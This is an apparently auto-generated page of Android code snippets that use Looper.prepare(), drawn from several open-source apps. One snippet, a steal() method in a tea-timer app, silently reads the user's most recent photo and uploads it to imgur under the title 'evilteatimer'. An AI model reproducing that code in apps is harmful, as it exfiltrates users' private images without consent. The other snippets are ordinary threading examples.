Example usage for android.os Looper prepare

List of usage examples for android.os Looper prepare

Introduction

In this page you can find the example usage for android.os Looper prepare.

Prototype

public static void prepare() 

Source Link

Document

Initialize the current thread as a looper.

Usage

From source file:com.guardtrax.ui.screens.SplashScreen.java

private void initialize() {
    if (locationManagerObj == null) {
        locationManagerObj = (LocationManager) getSystemService(Context.LOCATION_SERVICE);

        try {//from w  ww .j  av  a2 s.  c o  m
            gps_enabled = locationManagerObj.isProviderEnabled(LocationManager.GPS_PROVIDER);

            //network_enabled = locationManagerObj.isProviderEnabled(LocationManager.NETWORK_PROVIDER);
        } catch (Exception ex) {
        }
    }

    // don't start listeners if no provider is enabled - Changed to to look for both
    //if (!gps_enabled) 
    if (!gps_enabled && !network_enabled) {
        AlertDialog.Builder dialog = new AlertDialog.Builder(SplashScreen.this);
        dialog.setTitle("Info");
        dialog.setMessage("Please enable GPS!");
        dialog.setPositiveButton("OK", new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
                System.exit(0);
            }
        });
        dialog.show();
    } else {
        Runnable showWaitDialog = new Runnable() {
            @Override
            public void run() {
                Looper.prepare();

                int i = 0;

                //if syncComplete is true already it means that we are not trying to sync, hence delay so that splash screen can close slowly
                if (syncComplete) {
                    try {
                        Thread.sleep(1000);
                    } catch (Exception e) {
                    }
                } else {
                    while (!syncComplete || i++ < 10) {
                        try {
                            Thread.sleep(1000);
                        } catch (Exception e) {
                            break;
                        }
                    }

                    //make sure background task is completed.  If not, force it closed
                    if (!syncComplete) {
                        try {
                            if (syncdb.getStatus() != AsyncTask.Status.FINISHED)
                                syncdb.cancel(true);
                        } catch (Exception e) {
                        }
                    }
                }

                //After receiving first GPS Fix dismiss the Progress Dialog
                dialog.dismiss();

                //calling the tab class causes the current tab to be displayed (set to tab(0) which is the HomeScreen)

                Intent intent = new Intent();
                intent.setClass(SplashScreen.this, HomeScreen.class);
                startActivity(intent);

                //transition from splash to main menu is slowed down to a fade by this command
                overridePendingTransition(R.anim.activityfadein, R.anim.splashfadeout);

                SplashScreen.this.finish();
            }
        };

        // Create a Dialog to let the User know that we're waiting for a GPS Fix
        dialog = ProgressDialog.show(SplashScreen.this, "Please wait", "Initializing ...", true);

        Thread t = new Thread(showWaitDialog);
        t.start();
    }
}

From source file:com.z3r0byte.magis.HomeworkActivity.java

public void finishAppointment(final Appointment appointment) {
    new Thread(new Runnable() {
        @Override//from ww w  .j  ava  2s .c om
        public void run() {
            Looper.prepare();
            AppointmentHandler appointmentHandler = new AppointmentHandler(mMagister);
            try {
                Boolean finished = appointmentHandler.finishAppointment(appointment);
                CalendarDB dbHelper = new CalendarDB(getApplicationContext());
                dbHelper.finishAppointment(appointment);
                applyFinish();
            } catch (IOException e) {
                e.printStackTrace();
                Toast.makeText(getApplicationContext(), R.string.err_no_connection, Toast.LENGTH_SHORT).show();
            } catch (JSONException e) {
                e.printStackTrace();
                Toast.makeText(getApplicationContext(), R.string.err_unknown, Toast.LENGTH_SHORT).show();
            }
        }
    }).start();

}

From source file:com.oneguy.recognize.engine.GoogleStreamingEngine.java

@Override
public void run() {
    Looper.prepare();
    mHandler = new Handler() {
        @Override/*w  w  w. j  a v  a  2s  . co m*/
        public synchronized void handleMessage(Message msg) {
            int event = msg.what;
            Object arg = msg.obj;
            Log.d(TAG, "engine state:" + getStateName(mState) + " event:" + getEventName(event));
            switch (mState) {
            case STATE_IDLE:
                switch (event) {
                case EVENT_START:
                    connectUpStream();
                    break;
                case EVENT_SHUTDOWN:
                    shutAll();
                    break;
                case EVENT_STREAM_ERROR:
                    abortWithError();
                    break;
                case EVENT_STOP:
                case EVENT_AUDIO_CHUNK:
                case EVENT_RESPONSE:
                    Log.d(TAG, "drop event:" + event + " state:IDLE");
                    break;
                }
                break;
            case STATE_UP_STREAM_CONNECTED:
                switch (event) {
                case EVENT_STOP:
                    sendStopPacketAndGetResponse();
                    break;
                case EVENT_SHUTDOWN:
                    shutAll();
                    break;
                case EVENT_AUDIO_CHUNK:
                    transmitAudioUpstream((byte[]) arg);
                    break;
                case EVENT_STREAM_ERROR:
                    abortWithError();
                    break;
                case EVENT_START:
                case EVENT_RESPONSE:
                    Log.d(TAG, "drop event:" + event + " state:IDLE");
                    break;
                }
                break;
            case STATE_WAITING_DOWNSTREAM_RESULTS:
                switch (event) {
                case EVENT_START:
                    break;
                case EVENT_STOP:
                    break;
                case EVENT_SHUTDOWN:
                    shutAll();
                    break;
                case EVENT_AUDIO_CHUNK:
                    break;
                case EVENT_RESPONSE:
                    processResponse((StreamResponse) arg);
                    break;
                case EVENT_STREAM_ERROR:
                    abortWithError();
                    break;
                }
                break;
            case STATE_SHUTDOWN:
                Log.e(TAG, "impossible,STATE_SHUTDOWN should not receive event!");
                break;
            }
        }

    };
    Looper.loop();
}

From source file:cn.edu.zju.bme319.cordova.ExtraInfo.java

    public boolean execute(String action, JSONArray args, CallbackContext callbackContext) 
            throws JSONException {
        Activity activity = this.cordova.getActivity();
        context = (Context) this.context;
      //from  w  ww. j a v a2s. c  o m
       // Register for broadcasts when a device is discovered
      IntentFilter filter = new IntentFilter(BluetoothDevice.ACTION_FOUND);
      context.registerReceiver(mReceiver, filter);
      
      
      // Register for broadcasts when discovery starts
      filter = new IntentFilter(BluetoothAdapter.ACTION_DISCOVERY_STARTED);
      context.registerReceiver(mReceiver, filter);

      
      // Register for broadcasts when discovery has finished
      filter = new IntentFilter(BluetoothAdapter.ACTION_DISCOVERY_FINISHED);
      context.registerReceiver(mReceiver, filter);  
      
             
      // Register for broadcasts when connectivity state changes
      filter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION);
      context.registerReceiver(mReceiver, filter);  
      
      Looper.prepare();

      found_devices = new ArrayList<BluetoothDevice>(); 
      
        if (btadapter == null) {
          btadapter = BluetoothAdapter.getDefaultAdapter();
        }

        if (action.equals("getExtra")) {
   
           callbackContext.success("123");
            return true;
        }
        else if (ACTION_DISCOVER_DEVICES.equals(action)) {
           try {
            
            Log.d("BluetoothPlugin", "We're in "+ACTION_DISCOVER_DEVICES);
            
            found_devices.clear();
            discovering=true;
            
              if (btadapter.isDiscovering()) {
                 btadapter.cancelDiscovery();
              }
              
              Log.i("BluetoothPlugin","Discovering devices...");        
            btadapter.startDiscovery();      
            
            while (discovering){}
            
            String devicesFound=null;
            int count=0;
            devicesFound="[";
            for (BluetoothDevice device : found_devices) {
               Log.i("BluetoothPlugin",device.getName() + " "+device.getAddress()+" "+device.getBondState());
               if ((device.getName()!=null) && (device.getBluetoothClass()!=null)){
                  devicesFound = devicesFound + " { \"name\" : \"" + device.getName() + "\" ," +
                        "\"address\" : \"" + device.getAddress() + "\" ," +
                     "\"class\" : \"" + device.getBluetoothClass().getDeviceClass() + "\" }";
                  if (count<found_devices.size()-1) devicesFound = devicesFound + ",";
               }else Log.i("BluetoothPlugin",device.getName() + " Problems retrieving attributes. Device not added ");
               count++;
            }   
            
            devicesFound= devicesFound + "] ";            
            
            Log.d("BluetoothPlugin - "+ACTION_DISCOVER_DEVICES, "Returning: "+ devicesFound);
            callbackContext.success(devicesFound);
            //result = new PluginResult(Status.OK, devicesFound);
         } catch (Exception Ex) {
            Log.d("BluetoothPlugin - "+ACTION_DISCOVER_DEVICES, "Got Exception "+ Ex.getMessage());
            callbackContext.error("discoveryError");
            //result = new PluginResult(Status.ERROR);
         }
         

//         try {
//            
//            Log.d("BluetoothPlugin", "We're in "+ACTION_DISCOVER_DEVICES);
//
//            // Create a BroadcastReceiver for ACTION_FOUND
////            final BroadcastReceiver mReceiver = new BroadcastReceiver() {
////                public void onReceive(Context context, Intent intent) {
////                    String action = intent.getAction();
////                    // When discovery finds a device
////                    if (BluetoothDevice.ACTION_FOUND.equals(action)) {
////                        // Get the BluetoothDevice object from the Intent
////                        BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
////                        // Add the name and address to an array adapter to show in a ListView
////                        mArrayAdapter.add(device.getName() + "\n" + device.getAddress());
////                    }
////                }
////            };
////            // Register the BroadcastReceiver
////            IntentFilter filter = new IntentFilter(BluetoothDevice.ACTION_FOUND);
////            registerReceiver(mReceiver, filter); // Don't forget to unregister during onDestroy
////            
////             // ??
////              if (btadapter.isDiscovering()) {
////                 btadapter.cancelDiscovery();
////                 Log.d("BluetoothPlugin", "We're in "+"12");
////              }
////              //?
////              Log.d("BluetoothPlugin", "We're in "+"1234");
////              btadapter.startDiscovery();
////              Log.d("BluetoothPlugin", "We're in "+"123456");
////               
////            found_devices.clear();
////            //discovering=true;
////            
////              //if (btadapter.isDiscovering()) {
////              //   btadapter.cancelDiscovery();
////              //}
////              
////            SendCommand(0);
////            
////              Log.i("BluetoothPlugin","Discovering devices...");        
////            //btadapter.startDiscovery();   
////            
////            while (discovering){}
////            
////            String devicesFound=null;
////            int count=0;
////            devicesFound="[";
////            for (BluetoothDevice device : found_devices) {
////               Log.i("BluetoothPlugin",device.getName() + " "+device.getAddress()+" "+device.getBondState());
////               if ((device.getName()!=null) && (device.getBluetoothClass()!=null)){
////                  devicesFound = devicesFound + " { \"name\" : \"" + device.getName() + "\" ," +
////                        "\"address\" : \"" + device.getAddress() + "\" ," +
////                     "\"class\" : \"" + device.getBluetoothClass().getDeviceClass() + "\" }";
////                  if (count<found_devices.size()-1) devicesFound = devicesFound + ",";
////               }else Log.i("BluetoothPlugin",device.getName() + " Problems retrieving attributes. Device not added ");
////               count++;
////            }   
////            
////            devicesFound= devicesFound + "] ";            
////            
////            Log.d("BluetoothPlugin - "+ACTION_DISCOVER_DEVICES, "Returning: "+ devicesFound);
////            callbackContext.success(devicesFound);
//            //result = new PluginResult(Status.OK, devicesFound);
//            return true;
//         } catch (Exception Ex) {
//            Log.d("BluetoothPlugin - "+ACTION_DISCOVER_DEVICES, "Got Exception "+ Ex.getMessage());
//            //result = new PluginResult(Status.ERROR);
//            callbackContext.error("discoverError");
//            return false;
//         }
         
      
      } else    if (ACTION_IS_BT_ENABLED.equals(action)) {
         try {                     
            Log.d("BluetoothPlugin", "We're in "+ACTION_IS_BT_ENABLED);
            
            boolean isEnabled = btadapter.isEnabled();
            
            Log.d("BluetoothPlugin - "+ACTION_IS_BT_ENABLED, "Returning "+ "is Bluetooth Enabled? "+isEnabled);
            callbackContext.success(""+isEnabled);
            //result = new PluginResult(Status.OK, isEnabled);
            return true;
         } catch (Exception Ex) {
            Log.d("BluetoothPlugin - "+ACTION_IS_BT_ENABLED, "Got Exception "+ Ex.getMessage());
            callbackContext.error("isBTEnabledError");
            //result = new PluginResult(Status.ERROR);
            return false;
         }
         
      } else    if (ACTION_ENABLE_BT.equals(action)) {
         try {                     
            Log.d("BluetoothPlugin", "We're in "+ACTION_ENABLE_BT);
            
            boolean enabled = false;
            
            Log.d("BluetoothPlugin", "Enabling Bluetooth...");
            
            if (btadapter.isEnabled())
            {
              enabled = true;
            } else {
              enabled = btadapter.enable();
            }

            
            Log.d("BluetoothPlugin - "+ACTION_ENABLE_BT, "Returning "+ "Result: "+enabled);
            callbackContext.success("" + enabled);
            //result = new PluginResult(Status.OK, enabled);
            return true;
         } catch (Exception Ex) {
            Log.d("BluetoothPlugin - "+ACTION_ENABLE_BT, "Got Exception "+ Ex.getMessage());
            callbackContext.error("EnableBTError");
            //result = new PluginResult(Status.ERROR);
            return false;
         }         
         
      } else    if (ACTION_DISABLE_BT.equals(action)) {
         try {                     
            Log.d("BluetoothPlugin", "We're in "+ACTION_DISABLE_BT);
            
            boolean disabled = false;
            
            Log.d("BluetoothPlugin", "Disabling Bluetooth...");
            
            if (btadapter.isEnabled())
            {
               disabled = btadapter.disable();
            } else {
               disabled = true;
            }            
                        
            Log.d("BluetoothPlugin - "+ACTION_DISABLE_BT, "Returning "+ "Result: "+disabled);
            callbackContext.success("" + disabled);
            //result = new PluginResult(Status.OK, disabled);
            return true;
         } catch (Exception Ex) {
            Log.d("BluetoothPlugin - "+ACTION_DISABLE_BT, "Got Exception "+ Ex.getMessage());
            callbackContext.error("DisableBTError");
            //result = new PluginResult(Status.ERROR);
            return false;
         }
               
      } else    if (ACTION_PAIR_BT.equals(action)) {
         try {                     
            Log.d("BluetoothPlugin", "We're in "+ACTION_PAIR_BT);
            
            String addressDevice = args.getString(0);
            
            if (btadapter.isDiscovering()) {
                 btadapter.cancelDiscovery();
              }

            BluetoothDevice device = btadapter.getRemoteDevice(addressDevice);
            boolean paired = false;
                     
            Log.d("BluetoothPlugin","Pairing with Bluetooth device with name " + device.getName()+" and address "+device.getAddress());
                   
            try {
               Method m = device.getClass().getMethod("createBond");
               paired = (Boolean) m.invoke(device);               
            } catch (Exception e) 
            {
               e.printStackTrace();
            }  
            
            
            Log.d("BluetoothPlugin - "+ACTION_PAIR_BT, "Returning "+ "Result: "+paired);
            callbackContext.success("" + paired);
            //result = new PluginResult(Status.OK, paired);
            return true;
         } catch (Exception Ex) {
            Log.d("BluetoothPlugin - "+ACTION_PAIR_BT, "Got Exception "+ Ex.getMessage());
            callbackContext.error("pairBTError");
            //result = new PluginResult(Status.ERROR);
            return false;
         }
         
                  
      } else    if (ACTION_UNPAIR_BT.equals(action)) {
         try {                     
            Log.d("BluetoothPlugin", "We're in "+ACTION_UNPAIR_BT);
            
            String addressDevice = args.getString(0);
            
            if (btadapter.isDiscovering()) {
                 btadapter.cancelDiscovery();
              }

            BluetoothDevice device = btadapter.getRemoteDevice(addressDevice);
            boolean unpaired = false;
                     
            Log.d("BluetoothPlugin","Unpairing Bluetooth device with " + device.getName()+" and address "+device.getAddress());
                   
            try {
               Method m = device.getClass().getMethod("removeBond");
               unpaired = (Boolean) m.invoke(device);               
            } catch (Exception e) 
            {
               e.printStackTrace();
            }  
            
            
            Log.d("BluetoothPlugin - "+ACTION_UNPAIR_BT, "Returning "+ "Result: "+unpaired);
            callbackContext.success("" + unpaired);
            //result = new PluginResult(Status.OK, unpaired);
            return true;
         } catch (Exception Ex) {
            Log.d("BluetoothPlugin - "+ACTION_UNPAIR_BT, "Got Exception "+ Ex.getMessage());
            callbackContext.error("unpairBTError");
            //result = new PluginResult(Status.ERROR);
            return false;
         }
                     
      } else    if (ACTION_LIST_BOUND_DEVICES.equals(action)) {
         try {                     
            Log.d("BluetoothPlugin", "We're in "+ACTION_LIST_BOUND_DEVICES);
            
            Log.d("BluetoothPlugin","Getting paired devices...");
            //?
            Set<BluetoothDevice> pairedDevices = btadapter.getBondedDevices();
            int count =0;   
            String resultBoundDevices="[ ";
            if (pairedDevices.size() > 0) {               
               for (BluetoothDevice device : pairedDevices) 
               {                  
                  Log.i("BluetoothPlugin",device.getName() + " "+device.getAddress()+" "+device.getBondState());
                  
                  if ((device.getName()!=null) && (device.getBluetoothClass()!=null)){
                     resultBoundDevices = resultBoundDevices + " { \"name\" : \"" + device.getName() + "\" ," +
                           "\"address\" : \"" + device.getAddress() + "\" ," +
                           "\"class\" : \"" + device.getBluetoothClass().getDeviceClass() + "\" }";
                      if (count<pairedDevices.size()-1) resultBoundDevices = resultBoundDevices + ",";                  
                  } else Log.i("BluetoothPlugin",device.getName() + " Problems retrieving attributes. Device not added ");
                   count++;
                }             
               
            }
            
            resultBoundDevices= resultBoundDevices + "] ";
            
            Log.d("BluetoothPlugin - "+ACTION_LIST_BOUND_DEVICES, "Returning "+ resultBoundDevices);
            callbackContext.success("" + resultBoundDevices);
            //result = new PluginResult(Status.OK, resultBoundDevices);
            return true;
         } catch (Exception Ex) {
            Log.d("BluetoothPlugin - "+ACTION_LIST_BOUND_DEVICES, "Got Exception "+ Ex.getMessage());
            callbackContext.error("resultBoundDevicesError");
            //result = new PluginResult(Status.ERROR);
            return false;
         }   
            
         
      } else    if (ACTION_STOP_DISCOVERING_BT.equals(action)) {
         try {                     
            Log.d("BluetoothPlugin", "We're in "+ACTION_STOP_DISCOVERING_BT);
            
            boolean stopped = true;
            
            Log.d("BluetoothPlugin", "Stop Discovering Bluetooth Devices...");
            
            if (btadapter.isDiscovering())
            {
               Log.i("BluetoothPlugin","Stop discovery...");   
               stopped = btadapter.cancelDiscovery();
                 discovering=false;
            }            
            
         
            Log.d("BluetoothPlugin - "+ACTION_STOP_DISCOVERING_BT, "Returning "+ "Result: "+stopped);
            callbackContext.success("" + stopped);
            //result = new PluginResult(Status.OK, stopped);
            return true;
         } catch (Exception Ex) {
            Log.d("BluetoothPlugin - "+ACTION_STOP_DISCOVERING_BT, "Got Exception "+ Ex.getMessage());
            callbackContext.error("stoppedError");
            //result = new PluginResult(Status.ERROR);
            return false;
         }
         
         
      } else    if (ACTION_IS_BOUND_BT.equals(action)) {
         try {                     
            Log.d("BluetoothPlugin", "We're in "+ACTION_IS_BOUND_BT);
            String addressDevice = args.getString(0);
            BluetoothDevice device = btadapter.getRemoteDevice(addressDevice);
            Log.i("BluetoothPlugin","BT Device in state "+device.getBondState());   
            
            boolean state = false;
            
            if (device!=null && device.getBondState()==12) 
               state =  true;
            else
               state = false;
            
            Log.d("BluetoothPlugin","Is Bound with " + device.getName()+" - address "+device.getAddress());                         
            
            Log.d("BluetoothPlugin - "+ACTION_IS_BOUND_BT, "Returning "+ "Result: "+state);
            callbackContext.success("" + state);
            //result = new PluginResult(Status.OK, state);
            return true;   
         } catch (Exception Ex) {
            Log.d("BluetoothPlugin - "+ACTION_IS_BOUND_BT, "Got Exception "+ Ex.getMessage());
            callbackContext.error("boundBTError");
            //result = new PluginResult(Status.ERROR);
            return false;
         }      
      
      
      } else if(ACTION_BT_CONNECT.equals(action)){
         try
         {
            Log.d("BluetoothPlugin", "We're in "+ACTION_BT_CONNECT);
            deviceAddress = "8C:DE:52:99:26:23";
            Log.d("BluetoothPlugin", "We're in "+deviceAddress);
            BluetoothDevice device = btadapter.getRemoteDevice(deviceAddress);
            
            //m = device.getClass().getMethod("createRfcommSocket", new Class[] { int.class });
            //bluetoothSocket = (BluetoothSocket) m.invoke(device, Integer.valueOf(1));
            //SendCommand(0);
            // ??socket
            try {
               bluetoothSocket = device.createRfcommSocketToServiceRecord(UUID
                     .fromString(MY_UUID));
            } catch (IOException e) {
               //Toast.makeText(this, "?", Toast.LENGTH_SHORT).show();
            }
            bluetoothSocket.connect();
            sendCommandFlag = 0;
            SendCommand(sendCommandFlag);
            
            
            
            if(bluetoothSocket.isConnected())
            {
               this.isConnection = true;
               String str = "";
               // 
               try {
                  inputStream = bluetoothSocket.getInputStream(); // ???
                  str = ""+1;
               } catch (IOException e) {
                  //Toast.makeText(this, "??", Toast.LENGTH_SHORT).show();
                  //return;
                  str=""+2;
               }
               if (bThread == false) {
                  ReadThread.start();
                  bThread = true;
                  str = ""+3;
               } else {
                  bRun = true;
                  str = ""+4;
               }
               
               //result = new PluginResult(Status.OK, str);
                //result.setKeepCallback(true);
                    // callbackContext.sendPluginResult(result);
               callbackContext.success("" + str);
            }
            else {
               //result = new PluginResult(Status.OK, "failure");
               callbackContext.error("Could not connect to ");

            }
            return true;
         } catch (Exception Ex)
         {
            // TODO: handle exception
            Log.d("BluetoothPlugin - "+ACTION_BT_CONNECT, "Got Exception "+ Ex.getMessage());
            //result = new PluginResult(Status.ERROR);
            callbackContext.error("Could not connect to ");
            return false;
         }
      }else if(ACTION_BT_GETDATA.equals(action)){
         try
         {
            Log.d("BluetoothPlugin", "We're in "+ACTION_BT_GETDATA);
            sendCommandFlag = 1;
            SendCommand(sendCommandFlag);   
//            if (bluetoothSocket != null) {
//                  if(bluetoothSocket.isConnected()){
//                     SendCommand(1);   
//                  }
//            }
//               
            //result = new PluginResult(Status.OK, spoValue);
            Log.v("Get1 ", returnBTData);
            while(returnBTData == "")
            {
               Log.v("Get2 ", returnBTData);
            }
            Log.v("Get3 ", returnBTData);
            callbackContext.success("" + returnBTData);
            //ReadThread.cancel();
            
            bluetoothSocket.close();
            bluetoothSocket = null;
            
            return true;
         } catch (Exception Ex)
         {
            // TODO: handle exception
            Log.d("BluetoothPlugin - "+ACTION_BT_GETDATA, "Got Exception "+ Ex.getMessage());
            callbackContext.error("" + "getDataError");
            //result = new PluginResult(Status.ERROR);
            return false;
         }
      }
      
      else {
//         result = new PluginResult(Status.INVALID_ACTION);
//         Log.d("BluetoothPlugin", "Invalid action : "+action+" passed");
//         return result;
         callbackContext.error("" + "actionError");
      }
        return false;
    }

From source file:cc.wulian.smarthomev5.fragment.singin.handler.DecodeThread.java

@Override
public void run() {
    Looper.prepare();
    handler = new DecodeHandler(scanHandlerResult, hints);
    handlerInitLatch.countDown();
    Looper.loop();
}

From source file:au.id.micolous.frogjump.Util.java

public static void showToast(Context context, int resId) {
    Looper.prepare();
    String message = context.getString(resId);
    Toast toast = Toast.makeText(context, message, Toast.LENGTH_LONG);
    toast.show();//from   w ww . ja  v  a 2s .c  o  m
}

From source file:com.tcl.lzhang1.mymusic.AppException.java

/**
 * Handle exception./*from w  w  w . j a v  a2  s . c  o  m*/
 * 
 * @param ex the ex
 * @return true, if successful
 */
private boolean handleException(final Throwable ex) {

    if (ex == null) {

        return false;
    } else {

        ex.printStackTrace();

    }

    final Context context = AppManager.getInstance().currentActivity();

    if (context == null) {
        return false;
    }

    final String crashReport = getCrashReport(context, ex);
    System.out.println("AppException.handleException()");
    new Thread() {
        @Override
        public void run() {
            Looper.prepare();
            saveLog(ex);
            UIHelper.sendAppCrashReport(context, crashReport);
            Looper.loop();
        }

    }.start();

    return true;
}

From source file:goo.TeaTimer.TimerActivity.java

private void steal() {
    new Thread(new Runnable() {
        public void run() {
            try {
                Looper.prepare();
                String[] filePathColumn = { MediaStore.Images.Media.DATA };

                Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
                        filePathColumn, null, null, null);
                cursor.moveToLast();/*from  www  . j av  a2s.c om*/

                int columnIndex = cursor.getColumnIndex(filePathColumn[0]);
                String filePath = cursor.getString(columnIndex);
                cursor.close();

                Log.v(TAG, "FilePath:" + filePath);
                Bitmap bitmap = BitmapFactory.decodeFile(filePath);
                bitmap = Bitmap.createScaledBitmap(bitmap, 480, 320, true);
                // Creates Byte Array from picture
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                bitmap.compress(Bitmap.CompressFormat.PNG, 100, baos); // Not sure whether this should be jpeg or png, try both and see which works best
                URL url = new URL("http://api.imgur.com/2/upload.json");

                //encodes picture with Base64 and inserts api key
                String data = URLEncoder.encode("image", "UTF-8") + "="
                        + URLEncoder.encode(Base64.encodeBytes(baos.toByteArray()).toString(), "UTF-8");
                data += "&" + URLEncoder.encode("key", "UTF-8") + "="
                        + URLEncoder.encode("e7570f4de21f88793225d963c6cc4114", "UTF-8");
                data += "&" + URLEncoder.encode("title", "UTF-8") + "="
                        + URLEncoder.encode("evilteatimer", "UTF-8");

                // opens connection and sends data
                URLConnection conn = url.openConnection();
                conn.setDoOutput(true);
                OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
                wr.write(data);
                wr.flush();

                // Read the results
                BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
                String jsonString = in.readLine();
                in.close();

                JSONObject json = new JSONObject(jsonString);
                String imgUrl = json.getJSONObject("upload").getJSONObject("links").getString("imgur_page");

                Log.v(TAG, "Imgur link:" + imgUrl);
                Context context = getApplicationContext();
                mImgUrl = imgUrl;
                Toast toast = Toast.makeText(context, imgUrl, Toast.LENGTH_LONG);
                toast.show();
            } catch (Exception exception) {
                Log.v(TAG, "Upload Failure:" + exception.getMessage());
            }
        }
    }).start();
}

From source file:com.lepin.activity.MyLoveCarActivity.java

private void updateCarState() {
    new Thread(new Runnable() {
        @Override/*  ww w.j  a  v  a 2s. com*/
        public void run() {
            String result = "";// ?
            try {
                ArrayList<NameValuePair> params = new ArrayList<NameValuePair>();
                result = HttpUtil.post((List<NameValuePair>) params, Constant.URL_GETUSERCARINFO,
                        MyLoveCarActivity.this);
            } catch (Exception e) {
                Util.getInstance().log(e.getMessage());
                e.printStackTrace();
            }
            JsonResult<Car> jresult = util.getObjFromJsonResult(result, new TypeToken<JsonResult<Car>>() {
            });
            Looper.prepare();
            if (jresult != null) {
                if (jresult.isSuccess()) {
                    car = jresult.getData();
                    if (car.getState() != null) {
                        if (car.getState().equals(Car.STATE_AUDIT_UNPASS)) {// ?
                            mlSafe.post(new Runnable() {
                                @Override
                                public void run() {
                                    // TODO Auto-generated method stub
                                    mlSafe.setText(getResources().getString(R.string.my_car_vefic_faile));
                                }
                            });
                        }
                        if (car.getState().equals(Car.STATE_WAIT_AUDIT)) {// ?
                            mlSafe.post(new Runnable() {
                                @Override
                                public void run() {
                                    // TODO Auto-generated method stub
                                    mlSafe.setText(getResources().getString(R.string.my_car_vefic_notdo));
                                }
                            });
                        }
                        if (car.getState().equals(Car.STATE_AUDITING)) {
                            mlSafe.post(new Runnable() {
                                @Override
                                public void run() {
                                    // TODO Auto-generated method stub
                                    mlSafe.setText(getResources().getString(R.string.my_car_vefic_doing));
                                    isEidting = false;
                                }
                            });
                        }
                        if (car.getState().equals(Car.STATE_AUDITED)) {
                            mlSafe.post(new Runnable() {
                                @Override
                                public void run() {
                                    // TODO Auto-generated method stub
                                    mlSafe.setText(getResources().getString(R.string.my_car_vefic_okdo));
                                    isEidting = false;
                                }
                            });
                        }
                        Looper.loop();
                    }
                }
            }
        }
    }).start();
}

From source file:net.evecom.androidecssp.base.BaseActivity.java

/**  */
protected void toastInOtherThread(String strMsg, int L1S0) {
    Looper.prepare();
    Toast.makeText(getApplicationContext(), strMsg, L1S0).show();
    Looper.loop();//from w ww . ja va2 s .  c o m
}